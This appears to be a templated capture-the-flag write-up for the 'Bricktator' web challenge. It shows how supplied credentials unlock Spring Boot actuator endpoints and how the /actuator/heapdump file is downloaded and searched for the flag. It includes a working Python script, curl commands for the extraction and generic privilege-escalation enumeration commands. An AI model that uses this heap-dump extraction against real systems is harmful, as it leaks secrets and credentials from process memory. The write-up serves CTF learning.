Bricktator
Bricktator
Platform: Umasscybersec | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-11 | Status: Solved Techniques: actuator_recon, heapdump_secrets_extraction
Summary
Task: valid user credentials exposed a Spring Boot panel with authenticated actuator access. Solution: confirm locally that /actuator/heapdump keeps flag-like secrets in memory, then download the remote heap dump once and extract the real UMASS flag from strings output.
Recon
Port scan
bash read-only • copy allowednmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
umasscybersec| ID:20260411_umasscybersec_bricktator - Tags: credentials, spring_boot, heapdump, spring_actuator, java_heap
- Indicators: Spring Boot actuator endpoints become visible after a normal login, authenticated users can download /actuator/heapdump, heap strings contain flag-like values or sensitive constants
- Source:
20260411_umasscybersec_bricktator.md
Foothold
Vulnerability / Misconfiguration
- actuator_recon
- heapdump_secrets_extraction
bash read-only • copy allowed<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
bash read-only • copy allowedsudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
bash read-only • copy allowed<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- actuator_recon
- heapdump_secrets_extraction
- Tags: credentials, spring_boot, heapdump, spring_actuator, java_heap
Original Writeup
<details><summary>Click to expand original content</summary>Bricktator — UMass Cybersecurity CTF
Description
Organizer description was not preserved in the local task files.
English summary: we were given source code plus bricktator/goldeagle credentials. After login, the application exposed Spring Boot actuator endpoints, and the key issue was that /actuator/heapdump was readable and leaked secrets directly from process memory.
Analysis
The login from dossier.txt gave access to the application as bricktator. That account had the ROLE_YANKEE_WHITE permissions needed to browse actuator functionality, so the attack surface expanded immediately after authentication.
Local testing showed that /actuator/heapdump was exposed and that running strings on the dump revealed sensitive constants, including the placeholder flag stored in memory. That confirmed the remote target likely kept the real flag in the same place.
Solution
- Read the dossier and log in with
bricktator/goldeagle. - Use the granted role to access actuator endpoints.
- Verify locally that
/actuator/heapdumpcontains the placeholder flag in heap strings. - On the remote target, download
/actuator/heapdumponce. - Run
stringson the dump and search forUMASS{to recover the flag.
python read-only • copy allowed#!/usr/bin/env python3 import re import subprocess from pathlib import Path import requests BASE = "http://bricktator.web.ctf.umasscybersec.org:8080" USER = "bricktator" PASSWORD = "goldeagle" OUT = Path("heapdump.hprof") session = requests.Session() # Adjust the login endpoint/field names if needed for the exact deployment. session.post( f"{BASE}/login", data={"username": USER, "password": PASSWORD}, timeout=20, ) resp = session.get(f"{BASE}/actuator/heapdump", timeout=60) resp.raise_for_status() OUT.write_bytes(resp.content) strings_output = subprocess.check_output(["strings", str(OUT)], text=True, errors="ignore") matches = re.findall(r"UMASS\{[^}]+\}", strings_output) for match in sorted(set(matches)): print(match)
Minimal extraction flow:
</details>bash read-only • copy allowedcurl -s -c cookies.txt -d 'username=bricktator&password=goldeagle' http://bricktator.web.ctf.umasscybersec.org:8080/login > /dev/null curl -s -b cookies.txt http://bricktator.web.ctf.umasscybersec.org:8080/actuator/heapdump -o heapdump.hprof strings heapdump.hprof | grep 'UMASS{'
signed by XESXOR